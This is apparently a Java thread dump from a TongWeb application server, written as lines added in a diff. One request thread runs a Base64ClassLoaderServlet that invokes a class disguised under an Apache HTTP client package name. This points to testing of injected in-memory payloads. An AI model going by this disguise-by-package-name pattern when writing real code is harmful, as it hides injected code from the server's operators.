+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.4:7200]" #100 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@4fd1c3ca
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-5" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(2)-172.17.0.4" #101 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-8" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-9" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-7" #43 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@17524046
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"JCA-default-thread-pool-worker-10" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #99 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fb0901
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-8" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(3)-127.0.0.1" #102 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-6" #32 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-3" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-1" #44 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+
+"Auto-deploy-timer" #179 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.deploy.DeployTimeoutControlService.listenTimeout(DeployTimeoutControlService.java:51)
+ at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:334)
+ at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:278)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:69)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:261)
+ at java.util.TimerThread.mainLoop(Timer.java:555)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-5100-ClientPoller-0" #118 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-7" #39 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.apache.http.client.twewq.ErrorXxfpxHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
+ at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14)
+ at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:49)
+ at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44)
+ at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:445)
+ at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:368)
+ at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97)
+ at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
+ at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
+ at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43)
+ at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21)
+ at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:480)
+ at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:894)
+ at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19)
+ at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:73)
+ at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:935)
+ at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1673)
+ at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
+ at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:872)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:672)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:650)
+ at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126)
+ at sun.nio.ch.Invoker$2.run(Invoker.java:218)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-2" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-7" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-4" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-172.17.0.4" #98 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b3c69b9
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TongTech-License-Executor" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a322c87
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"console-warning-plugin-1-thread-1" #147 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f670df7
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"http-nio-5100-exec-1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@500bbe1b
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-8080-exec-5" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
